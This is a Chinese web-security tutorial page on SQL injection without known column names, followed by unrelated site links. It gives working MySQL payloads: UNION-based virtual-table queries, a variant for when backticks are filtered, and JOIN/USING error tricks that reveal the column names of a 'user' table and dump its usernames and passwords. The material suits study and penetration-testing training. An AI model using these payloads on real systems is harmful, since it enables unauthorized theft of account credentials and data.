当前位置: 首页 > news >正文

WEB安全--SQL注入--无列名注入

一、原理:

        当我们只知道表名不知道列名时,可以通过联合查询创建虚拟字段查询信息,或者是利用join、using关键字报错得到列名。

二、利用手段:

2.1)创建虚表查询:

#创建虚表
select 1,2,3 union select * from user;

#查询第二列数据
select `2` from (select 1,2,3 union select * from user)xxx;

当反引号 ` 被过滤时,可以使用如下方式查询:

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

2.2)join+using爆出列名:

# 得到 id 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b)as c;
# 得到 username 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id))as c;
# 得到 password 列名重复报错
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username))as c;
# 得到 user 表中的数据
select * from user where id='1' union all select * from (select * from user as a join user as b using(id,username,password))as c;
 

http://www.dtcms.com/a/105221.html

相关文章:

  • 本地合并多个仓库,保留Commit历史
  • MyBatis choose when otherwise
  • 算法设计学习2
  • 【FreeRtos】任务调度器可以被挂起吗?
  • 【配电网】基于差分进化算法的含DG配电网无功优化模型
  • python技巧:自动控制高低温箱,通过串口输入命令,生成16进制字符串,并计算CRC16。
  • 4.1-3 模拟器
  • C#调用ACCESS数据库,解决“Microsoft.ACE.OLEDB.12.0”未注册问题
  • 计算机网络知识点汇总与复习——(一)计算机网络体系结构
  • 【408--考研复习笔记】计算机网络----知识点速览
  • Base64编码的优缺点
  • Redis原理:rename命令
  • 玩机搞机基本常识-------安卓机型各种root方式面面观 选择适合自己机型的root方式
  • 自然语言处理(26:(终章Attention 2.)带Attention的seq2seq的实现)
  • 人工智能图像识别大数据技术之Scala2
  • 工业通信协议“牵手密码”,Ethernet IP转Profinet网关的桥梁魔法
  • 体验智谱清言的AutoGLM进行自动化的操作(Chrome插件)
  • MySQL数据库中,tinyint(1) 和 tinyint 有什么区别
  • 深入剖析JavaScript多态:从原理到高性能实践
  • 基于R语言与MaxEnt的物种分布建模全流程解析:从算法优化到科研制图实战
  • C++编程指南32 - 模板编程时要避免过度约束以提高通用性
  • 蓝桥杯训练士兵
  • 单点登录(SSO)实战:基于Vue与Spring Boot的深度实现
  • 蓝桥复习3(AT240C2 EE2PROM IIC ) 继电器 蜂鸣器 PWM
  • 汇编学习之《push , pop指令》
  • LeetCode 94. 二叉树的中序遍历
  • PUSCH(Physical Uplink Shared Channel,物理上行共享信道)
  • 自动备份文件到服务器,自动备份文件到服务器有哪些方法?
  • SkyWalking+Springboot实战(最详细)
  • mysql 日期时间变成中文显示